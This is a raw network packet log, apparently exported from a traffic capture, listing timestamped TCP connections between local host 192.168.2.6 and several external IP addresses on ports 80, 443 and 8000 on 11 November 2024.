                                                                                                                                                                                                          Nov 11, 2024 18:13:22.890295029 CET805536844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.313640118 CET805536844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.313714027 CET5536880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.315474033 CET5536880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.320895910 CET805536844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.321060896 CET5536880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.319437981 CET8062050199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.319530964 CET6205080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.625905037 CET6329280192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.630945921 CET806329299.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.631099939 CET6329280192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.633200884 CET6329280192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.633567095 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.638087034 CET806329299.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.638459921 CET8049712154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.734877110 CET6329380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.736047029 CET6329480192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.739711046 CET806329385.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.742526054 CET806329423.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.742614031 CET6329380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.742656946 CET6329480192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.744457960 CET6329480192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.749295950 CET806329423.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.762502909 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.767426014 CET8058859188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.994327068 CET8049712154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.994410992 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.004745007 CET6329380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.009594917 CET806329385.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.060666084 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.065506935 CET8049712154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.072573900 CET806329299.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.072706938 CET6329280192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.072900057 CET6329280192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.078123093 CET806329299.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.078300953 CET6329280192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.085112095 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.085925102 CET5886080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.086451054 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.087568045 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.087600946 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.087672949 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.087886095 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.087901115 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.090027094 CET8049709208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.090784073 CET8058860199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.091272116 CET8063298199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.091345072 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.091655970 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.096483946 CET8063298199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.107697010 CET8058859188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.107980013 CET8058859188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.108037949 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.152873039 CET806329385.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.154690027 CET6329380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.154761076 CET6329380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.159466982 CET806329385.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.189330101 CET8049709208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.189398050 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.196286917 CET806329423.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.196300030 CET806329423.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.196353912 CET6329480192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.197432041 CET6329480192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.197458029 CET6329480192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.361349106 CET6330280192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.366254091 CET806330285.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.366326094 CET6330280192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.366452932 CET6330280192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.371356964 CET806330285.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.394746065 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.394773006 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.394841909 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.395504951 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.395518064 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.396053076 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.400863886 CET8049709208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.409483910 CET8049712154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.409595966 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.499149084 CET8049709208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.499222040 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.524069071 CET8063298199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.524106979 CET8063298199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.524137020 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.524166107 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.528289080 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.528363943 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.528750896 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.528764963 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.528960943 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.528965950 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.618583918 CET6330580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.623492002 CET806330523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.623559952 CET6330580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.623681068 CET6330580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.628494978 CET806330523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859560013 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859610081 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859630108 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859647036 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859661102 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859673023 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859699965 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859709024 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859715939 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859741926 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.859771967 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.860285044 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.860358953 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.864703894 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.864774942 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.869839907 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.869848013 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.869919062 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.869936943 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.870093107 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.870134115 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.870197058 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.870198011 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.870209932 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.870263100 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.870263100 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.872530937 CET806330285.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.872634888 CET6330280192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.874942064 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.875020027 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.881210089 CET6330280192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.881787062 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.881802082 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.882056952 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.882108927 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.886136055 CET806330285.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.887269974 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.931329012 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.942703962 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.942745924 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.942789078 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.942805052 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.942851067 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.942851067 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944307089 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944339991 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944369078 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944380999 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944408894 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944422960 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944482088 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944639921 CET63299443192.168.2.699.83.170.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.944654942 CET4436329999.83.170.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.149998903 CET806330523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.150072098 CET6330580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.150424957 CET806330523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.150481939 CET6330580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.150516987 CET6330580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.150561094 CET6330580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704392910 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704440117 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704474926 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704503059 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704505920 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704515934 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704549074 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704567909 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704571962 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704617023 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.704976082 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.705024004 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.705079079 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.705084085 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.705127954 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.709227085 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.709290028 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.709295034 CET44363303188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.709449053 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.709449053 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.709469080 CET63303443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.728569984 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.733338118 CET8058859188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.063139915 CET8058859188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.063539028 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.067162991 CET8058859188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.067223072 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.073899031 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.073935986 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.074136972 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.074429035 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.074440956 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.524559021 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.524734020 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.546391010 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.546416044 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.546715021 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.546767950 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.561691046 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.603341103 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.835561037 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.835611105 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.835638046 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.835648060 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.835664988 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.835711002 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.836188078 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.836222887 CET44363317188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.836370945 CET63317443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.899952888 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.904824018 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.966795921 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.972366095 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.171669006 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.172224045 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.174089909 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.179130077 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.383472919 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.383529902 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.384396076 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.384447098 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.395273924 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.395308018 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.395370960 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.395601988 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.395617962 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.470797062 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.470866919 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.479676962 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.484536886 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.751168013 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.751221895 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.756979942 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.761807919 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.130561113 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.130670071 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.275463104 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.275485992 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.275779009 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.278675079 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.279305935 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.319338083 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.529803991 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.529870987 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818814039 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818861961 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818887949 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818912029 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818923950 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818945885 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818974018 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818984985 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.818994045 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819000959 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819031954 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819041014 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819075108 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819081068 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819183111 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819415092 CET44363420188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819468975 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819509983 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.819540977 CET63420443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.821046114 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.825848103 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.153229952 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.153310061 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.159029007 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.159076929 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.159151077 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.159465075 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.159476995 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.589342117 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.589478016 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.592402935 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.592415094 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.592679024 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.592727900 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.593564034 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.639333963 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478560925 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478605986 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478631020 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478662968 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478673935 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478693962 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478704929 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478720903 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478744030 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478746891 CET63440443192.168.2.6188.114.96.3
